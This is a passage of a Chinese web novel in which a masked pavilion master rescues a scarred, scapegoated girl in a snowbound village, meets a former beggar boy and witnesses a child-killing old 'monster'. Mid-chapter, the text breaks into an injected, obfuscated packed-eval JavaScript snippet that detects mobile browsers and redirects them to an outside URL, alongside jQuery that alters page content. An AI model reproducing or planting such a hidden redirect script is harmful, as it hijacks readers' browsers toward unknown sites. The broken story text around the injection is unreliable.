“喂——”
桃枝手中拿着棍子,指着他们,见他们不回答,更是气愤。
“说话啊,你们究竟从哪来的!”
飘雪横亘在中间,令桃枝看不太清对面人的容貌,远远瞧着,只见是个身形修长的人,瞧着颇有气质,此时手掌压着剑柄,正朝她走来。
桃枝吓得后退:“你要做什么?!”
那人未回答,一步一步靠近。
桃枝觉得更冷了,冷得腿打颤,冷得她快要站不住,于是她眼睛一闭,扬起棍子就敲上去。
自然,是敲不到的。
“不自量力。”冰冷的声音自头顶而来,她手腕被攥得生疼,被毫不留情丢在雪地上,棍子也随之滚落。
不等桃枝睁开眼去看,耳边传来几声开门的声音。
伴随着不堪入目的辱骂,与肮脏的垃圾。
桃枝当即闭上眼,捂住耳朵。她面色极其平静,就那么孤零零坐在地上,垂首望着自己身上被扔来的枯菜叶与杂物垃圾,一言不发。
“你这腌臜的贱蹄子怎么还敢出来!拐了那么些个孩子,怎么还有脸出现在我们面前!”
“我看就是个狗娘养的东西!”
“滚远点!”
——“这是做什么?”
忽而一声,清冽如冰雪消融,传入桃枝耳中。
桃枝稍稍一怔,便感觉到有什么挡在了自己身侧,转头去看,是被撑起的斗篷。瞧着料子名贵,但此时,已染上脏污。
再抬眼,便看见一张戴着面具的面庞,那面具只遮了半张脸,仍能看出那俊美的眉眼。
此刻那眉头已揉成一团,似是十分不解,再次发出疑问,声色亦是带着薄怒:“何故如此对一个小姑娘?”
怎么出了宫,桃枝竟混成这个样子?褚缨心中颇为不解。
她望着四周,恰时风一起,高高束起的马尾也跟着动了动,她抬手将挂到面具上的发丝撩动,彼时,已经有人上前来。
“公子你有所不知,自从她来了我们这儿,便丢了不少孩子!”这人抓着她手臂用力,似是要把她遮挡着的手臂按下去,继而被褚缨一眼瞪得不敢再动。
“那因何认定是她作为?”褚缨瞥了桃枝一眼,努努下巴,“她,不也是个孩子。”
一旁的人七嘴八舌说着——
“公子呐!她来之前,我们可都活得好好的,她一来就发生这种事,不是她,还能是谁!”
“我们还给过她饭捏,谁知道是个忘恩负义的狗玩意儿!”
“大人你可要为我们做主惩治了她!”
褚缨觉着耳旁嘈杂得很,恨不得捂住耳朵。
忽然,听见小心翼翼的一声:“季阁主?”
褚缨微顿,循着声音,望向桃枝双眸,一抬手,那些人竟还挺识趣,声音渐小。
她蹲下去,言笑晏晏:“你还记得我?”
桃枝脸颊微红:“记得,那时我与李郎在回去成亲的路上,见过你。”
“哦?你成过亲了?”褚缨又问。
桃枝赶忙摇头:“没有,没有,没成亲。”
说完,桃枝低下头去,猛地抬手抓住她袖口,忽然提声:“他们都污蔑我!阁主你救救我,你带我离开这里……你想要什么,我都可以给你,你带我离开这里!”
“嘿果然是个贱东西!”旁边一个汉子指着她鼻子骂,“还什么都愿意做——你这副丑样子,人家一个贵公子怎么可能要你!呵!”
“跟我走吧。”褚缨骤然开口,顺势拉起了桃枝。
那汉子指尖一缩,挠了挠鼻尖,被其他人拉着后退。
桃枝一起来就抓着她衣摆缩在她身后,警惕望着那群人。
褚缨见那群人一副人面蛇心的样子便没打算多问,拉上桃枝走了,走到马车边,再回头望,见那群人已经各回各家。
“阁主,阁主。”桃枝略微颤抖的声音传入耳膜,引得褚缨望过去。
“我们快走,快离开这里。”
桃枝泪眼朦胧望着她。
褚缨没有回答,见瞿影已经把车帘撩了起来,便一掀斗篷坐到马车里的那些箱子上,她指了指车帘前的空位,对着桃枝挑眉道:“上来。”
“啊。”桃枝微微一愣。
褚缨没注意到她的愣怔,自顾自思考:“什么都愿意做……?”
桃枝一副明白过来的样子,赶忙手脚并用爬上去,一瞬间,爪子就扒到了她腿上,把褚缨惊得差点丢她下去。
好在桃枝没有继续动作,只是这样,一副兔子模样乖乖跪在她腿边,抬头望着她,认真点头:“只要阁主带我走,什么都愿意。”
“噗。”瞿影靠在车壁上,一时没忍住,笑出了声来。
褚缨没回答。
桃枝急急道:“是真的!杀人放火暖床我都会!”
褚缨:“……”
“阁主!”桃枝好似是看出了她的犹豫,慌忙凑近。
褚缨立马以掌心抵住她额头,把她推远,眼神追着她脸上那道最为明显的疤痕,心下好奇,手便没有立即拿开,反而抬着她下巴左右去看。
心中则思索着她的用处。
桃枝来这儿估计已有些时日,瞧着疤痕,也像是新伤,当初把她扔出宫来时,她脸上可没这么多伤。
“你……”思索着,褚缨轻轻张口,思索得认真,没注意到她渐渐发红的脖颈与耳根。
“阁主想……”
褚缨问:“今年多大?”
“十、十七……快十八了……”
十七。
那还真是个小姑娘。
褚缨又把她下巴一抬,去看她身子骨,她身子骨小,缩到箱子里都足够。
打量了一会,她挪开眼,微微颔首。
“阁、阁主……”
“那行吧。”
桃枝已经面红耳赤,看着他的眼睛微微闪光——他救她,还不嫌弃她,他是好人。
“阁主我……”桃枝仰头,眼神放光追随着他,想说什么。
这时站在马车外的瞿影忽然轻咳一声。瞿影微微侧头,望向马车内道:“他们回来了,阁主,我们可以出发了。”
褚缨这才收回自己的手,示意桃枝先找个位置坐下,自己则下车去,和瞿影一起去把那晕倒的赵前拎上马车。
赵前被丢过来,仰躺在车夫坐的那个位置上,瞿影上来就扇了他巴掌,一共五下,他才有悠悠转醒的趋势。
桃枝好奇,也钻了出来,蹲着瞧。
“原来你们跟他们不是一起的,我瞧着他们就鬼鬼祟祟,没敢上前,还以为你们是他们的上司,慌忙中就出来了……”
话语间,赵前的眼睛缓缓睁开。
赵前迷迷糊糊醒来,只见着面前有一个花面鬼,顿时吓得弹起。
两方尖叫声响起。
赵前滚落到地上,桃枝被他胡乱一推也要掉下去,肩膀撞到车门,又被褚缨抓着手臂拉起。
桃枝惊魂未定,站不起来,软在她腿边抱着她的腿瑟瑟发抖。
褚缨轻轻抽了几下没抽出来,放弃了,转而看向赵前,赵前已被赶来的止期拿着鞭子抵在了车壁上。
“大侠,女侠,大哥……我我我我怎么了呀,我挡着你们路啦?我这我也是没办法啊,边城里的人太冷漠,我们马车陷地里了,没得办法……”
“不认识我们?”褚缨笑问。
赵前“啊”了几声,看看褚缨,又看看止期,再看看戾期,脑子像是停止运转了一般,眼神呆滞。
半晌,他抬手,捂住脸。
“我什么都没看见,我不认识任何人,我也不知道什么听雨阁,我什么都不知道,我今天一定是出现幻觉了……”
止期展开鞭子套上他脖颈。
赵前大惊失色,脸色骤白:“啊啊啊啊啊我保证我不会说出去的!我没见过你们!”
“你们此行是去南州?”褚缨笑眯眯问。
赵前答:“对对对对对!”
褚缨微微颔首:“我们也要去南州,你带我们一脚,怎么样?”
“好好好!”赵前根本不敢不答应,那鞭子就缠在他脖子上,上面的倒刺刺得他生疼。
至此,止期才终于松了手,收起鞭子,把人绑着双手丢进马车,瞿影立马跟着上去,开始和他拉扯寻找钥匙。
褚缨动了动脚也打算上马车,没走动,低头看向桃枝——
桃枝还没缓过来,睁着一双大眼抬头看她,眼角还挂着眼泪。
泪水划过那道无法忽略的伤疤,褚缨看着,忽然问:“脸上的伤,哪里来的?”
桃枝明显愣住,犹豫了一会,道:“得罪了人。”
“谁?”
“这须弥村的人。”
褚缨低眸望着她,张了张嘴还要继续问,忽的,巷子里,雪人处,传来窸窸窣窣的声音,引得褚缨转头望去。
裤脚却在此时被人扯动。
是桃枝。
褚缨再次低眸,看见桃枝惊恐摇着脑袋:“不要,不要去,不要去……”
褚缨微微蹙眉,弯下身去抓住她手臂,“什么意思?”
“怪物,都是怪物……”桃枝只是将她的裤脚越抓越紧,“不能去,不能去,不能去……对,不能去……”
褚缨眉间拧成了一团,便看见桃枝一双眼布满了血丝,其间的惊恐不言而喻,一双杏眼此刻睁得无比大,搅合着那些密密麻麻的伤痕,五官瞧着都有些扭曲了。
桃枝骤然抬手,拉住褚缨衣袖,把她拉下来。
褚缨望着骤然放大的脸孔,不由得呼吸一滞,瞳孔骤缩,那扭曲的五官瞧着似是笑起来,声音却不是,只有无数的惊恐。
“不要去!”
“不要去!”
“你做什么?”褚缨抓住她手腕,使力把她扒下去,扬声喊:“止期!”
止期本还在跟戾期一起喂马,听了呼唤立马过来,“主子,怎么了?”
“你把她带……”
“呼——呼——”
寒风骤然吹起,将褚缨的话语都埋没下去。
桃枝惊叫一声,忽的捂住耳朵,“不要吃我!”
褚缨听见她的话语,顿了一顿,再抬眸,发现风雪又大了,叹口气问道:“这天气,马车还能行进么?”
止期皱起眉头,仰头去看:“……有点难。我看前头积雪都无人清扫,这里怕是早已被放弃的村落。”
此时瞿影也探出头来。
“这须弥村是边城最角落的一个小村落,况且最近南州不是攻过来了,正在打仗,无人管理也正常,我们要不在这儿暂且休息几日?”
休息?那可不行,他们如今正在被人追杀呢。
这么想着,褚缨看着瞿影摇摇头:“只怕有人会寻着踪迹追过来……钥匙问到了没?”
瞿影颔首:“瞧这天气,马车是用不了了,好在这些东西也没有特别多,我们可以装个麻袋……”
赵前慌张探头:“这可都是些金贵东……”话没说完,被瞿影一巴掌按回去。
瞿影继续说:“反正戾期那大块头,应该不是问题。”
止期也附和点头:“他不成问题。”
褚缨垂眸,略微思索,点了头,对止期说:“你照顾好桃枝姑娘。”
把桃枝从腿上扒下来交给止期,她又看向瞿影,“那你们收拾,我去附近看看,正好找找有没有什么好用的麻袋。”
几人都应声领命,褚缨转身准备往那个发出声音的小巷去,目光刚触到那雪人,又被抓住了斗篷,她蹙眉回望,见桃枝哭了起来,对她说:“你不要去,不要去……”
止期赶忙抓住桃枝胳膊把她拉回来,“主子……”
“不用管她。”褚缨道,“我就去看看。”
“主子,你小心些。”止期挪了挪步子靠近,低声道:“我方才去找地方时,见不远处有军队行进,瞧着是西州的旗帜,我们还是快些弄完离开为好,以免被认出。”
“好,我知道了。”
褚缨应下来,朝巷子里走去。
雪越下越大,不间歇地落在她肩头,发上也堆积了一层薄雪,走到雪人的位置时,那窸窸窣窣的声音再次传来,就在雪人后面。
不知是不是风太冷,褚缨不自觉抖了抖身子。她攥紧了剑柄,沿着半圆的行径踱步,缓缓绕过雪人,偏头看向雪人背后。
一个佝偻的身躯映入眼帘。
穿着破烂、满是补丁的衣裳,面容全被凌乱的发丝遮挡,那发上除了雪,还有其他的脏污,看不清是什么,只能看见那发丝都在打结。
褚缨微微蹙眉,又往他手中看。
那是一双形似枯槁的手,几乎能看见里面的血管,皮肉看起来微微一扯便能撕开。而他手中,正按着一个两三岁的小孩,小孩与雪人一般高,被这雪人包裹着——
面容苍白如纸,没有一丝血色。
褚缨瞪大双眼,呼吸有些不稳,脑海中瞬间浮现了许多人的面庞,她赶忙摇了摇脑袋,不去看那个小孩,转而望向那佝偻着背的老人。
一转头,倏然对上一双泛着阴森光芒的眼睛。
褚缨的心陡然一颤。
只一瞬,她迅速看清了老人的脸,如枯树一般的面容,那双眼眸亦深邃阴冷,透着寒气,将整张脸都衬得十分可怖。
褚缨欲拔剑。
刚拔出一些,手腕又被人抓住。
她低头,见是一只小孩的手,当即向后望去,转头之际,那只手拉着她就往后飞奔。
她皱了皱眉,往回望——
那老人不知是从哪里掏出了个匕首追着她。
“……”
褚缨当即把小孩拽起来,跑得飞快。
几个拐弯过去,褚缨和小孩一起站在了屋顶上。
小孩的手瑟瑟发抖:“姐姐,好高。”
“你忍……”褚缨张口回应,刚说两个字,忽然一怔,猛的低头看向着小孩,“姐姐?”
那小孩仰头,褚缨这才看清他的样貌。
许久之前,她曾找过一个小乞丐,帮她演一场戏,为接近李连清。当时,她记得,那小乞丐贪心得很,银子不够,还要了一锭金子。
那小乞丐,就是面前这个小孩。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461741|168951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
褚缨蹲了下来,与他平视,揶揄道:“你个小乞丐,怎么看出来的。”
小乞丐摸了摸鼻头,打了个喷嚏,随后道:“姐姐的眼睛很漂亮,我记得。”
褚缨被这话哄得高兴,抬手拍拍他脑袋,旋即看见下面弯着背还在四处找寻的老人,压低声音问他:“你知道这老人是谁吗?他刚刚在做什么?”
小乞丐点头道:“知道,怪物。”
褚缨一愣。
小乞丐又说:“吃人的,怪物。”
吃人的怪物?
褚缨怔然。
她有些不懂这究竟是什么意思,虽然少时偷偷跟着师父也闯荡江湖许多年,什么事儿都见过,但也没见过这么离奇的。
“为什么说他是怪物?”
“吃人啊。”
“……”
白问。
褚缨放弃了,转而问他:“那你怎么会在这里?”
小乞丐挠挠脑袋:“我一路乞讨到这里的,被一家人收留了,就住了下来。”
“原来如此……”褚缨低眸思忖。
小乞丐看了她一眼,问道:“姐姐,你也是乞讨过来的吗?”
褚缨:“……”
她难道很像乞丐吗?
话没问出来,小乞丐扯扯他衣袖,兀自说话:“你的衣裳脏了,我带你去我家,我家里有女孩子的衣服。”
说着,眼睛亮起来,“我还有个妹妹,很可爱,很漂亮,姐姐你肯定也会喜欢!”
褚缨想了想,起身看了看四周,已是陌生景象,既然已经跑远了,且遇见故人,暂时待一下也无妨,风雪大,军队也没那么快过来。
她便答应下来,传了信回去,说让他们先走,在关隘汇合。
她按照小乞丐的指引,找着路到了一个屋子前,瞧着比其他矮屋要大些,远远望去颇为显眼。
门开之前,她将面具取了下来。
“你怎么才回……”一个妇人打开门,身上穿着衣裳瞧着光鲜亮丽,不似贫苦人家,见了小乞丐身边还有个人,她不禁一愣,“哎?”
小乞丐道:“阿娘,这是之前帮过我的姐姐,如今她遇到点困难,我想带她进来住几天。”
那妇人只笑了笑,把人迎进来。
褚缨随她进门,见里头虽是跟其他房屋一样的环境,家具陈旧,地面还有些鼓起的土包,但整体却是干净整洁的。
妇人身上鲜亮的衣裳,在这昏暗的屋内十分显眼。
妇人递给了她一件衣裳,转头去训斥小乞丐:“你怎么又四处乱跑了!若是碰到那怪人怎么办?你就不能像阿芳一样,令人省心些吗?”
“我想给阿芳妹妹找好吃的……阿娘你尝尝,这松子糖可甜了。”
只听那妇人叹叹气:“你这孩子,记住啦,以后不许再独自出门,小心被那吃人的怪物缠上。”
“不会的,我跑得快,谁都追不上,阿娘你放心。对了,阿爹呢?”
“阿爹去镇上了。”
“我还在路上捡了个斧头,我想要阿爹教我砍树,我就可以帮他了……”
“……好孩子……”
此时,褚缨已经在里间换好了衣裳,摸摸布料,这衣料摸着不便宜,其上缀着花纹,也是做工精细,与整个村子都十分不符,有着重重的违和感。
觉得不对,又说不出哪里不对。
褚缨摇摇头,暂且不去想,转头去寻了根木簪将头发简单一挽,走出去。
妇人赶忙走上来,给她将衣裳拉了拉,又踮踮脚给她稳了稳木簪,笑容温和:“姑娘是从哪里来?怎会识得我们阿蝉?”
褚缨笑了笑:“端央。”
“那倒是稀奇,阿蝉,你去过端央么?”妇人回头去问。
阿蝉微愣,看了眼褚缨,见她朝自己笑,咬咬唇,点了头。
妇人没怀疑,瞧了瞧天色,嘟哝着什么,转头去准备饭菜了,过了会,又将开开心心吃糖的阿蝉喊过去,手里的饭勺敲在他脑袋上温柔斥着什么。
褚缨站得远,没听清,只见着阿蝉蔫头耷脑蹲在灶前生起了火,被火呛得直咳嗽。
褚缨犹豫了一下,走过去蹲在他旁边,“你不是说要让我见见你的阿芳妹妹?”
阿蝉小大人似的叹气:“阿爹带着她去镇里买新衣裳了,真过分,都不带我一起,我要冷落阿爹三日。”
褚缨噗嗤一笑:“谁让你整日乱跑的。”
阿蝉哼哼两声,失落了没一会儿,便开始兴致冲冲与她讲自己的阿芳妹妹:“姐姐,你一定会喜欢她的!当初我流浪到这里,是阿芳妹妹把我从雪地里捡走了,她可勇敢了,几棍子就打跑了那个老怪物!”
“对了姐姐你喜不喜欢吃糖,我给你留了松子糖!”
褚缨接过松子糖,放入嘴里,甜丝丝的味道当即在嘴里化开,她心中泛起一丝涟漪,笑了笑道:“那我等着看你的阿芳妹妹。我想,我一定会喜欢她的。”
烧完了柴火,阿蝉拉着她又溜进阿芳妹妹的小房间内,那房间虽小,但也是整洁干净,里面整整齐齐摆放了各种各样的小糖人,阿蝉说,那都是阿芳妹妹特意找镇上的手艺师傅学的。
褚缨就这般笑着与他度过了一日,想着,见到了阿蝉的妹妹,她也该离开了,顺便再去看看他们口中那个老怪物,瞧瞧究竟是怎么一回事。
为何残害孩子的是那老怪物,大家打骂的却是桃枝?
翌日跟着他们母子二人等在门口时,褚缨便先问了问:“夫人,我来村里时,见到一个面相十分丑陋的小姑娘,还差点打了我,那也是你们村里的吗?”
妇人皱皱眉,语气不善:“那个丑女人?哼,她刚来时我们见她可怜,都还施舍她饭菜,谁知道她却拐走我们村里的孩子,之后还赖在这儿不走,闹得村里人心惶惶,她在外活动的时间,便都不敢出门了。”
褚缨叹叹气,“难怪我一路走来,都没人帮我。”
妇人笑笑,未多言,忽然想到什么说:“对了姑娘,你的衣裳我洗好了……真是好料子啊,我烤的时候小心翼翼的,你去看看干了没,有没有什么损伤?”
褚缨微笑颔首,道了谢,转身去后院将衣裳收起,又抬头望望天。
雪在昨晚便已经停了,此刻暖阳高照,风轻云淡,瞧着,要晴上好几日,到那时积雪也该化了。
也不知南州攻得如何。
褚缨心情复杂,回身望了眼这院子,犹豫片刻,放了一袋银钱在桌上,随后拎着小小的包袱飞身上房顶,打算悄悄离去。
走之前,低头望去,见他们已经团聚。
可……
那个阿芳妹妹呢?
褚缨没见着人,不禁有些失落,但情绪转瞬即逝,现正事要紧。她转身,踏着房檐离去,双脚落在砖瓦上传来清脆的一声。
“啊!”彼时,又有一声惊叫传来。
褚缨脚步一顿,立马回头。
便见那佝偻老人手里的匕首滴着血,压在那男人身上一刀又一刀。
“阿爹——阿爹!!”
伴随着的,还有阿蝉凄哑的声音,在耳边荡着。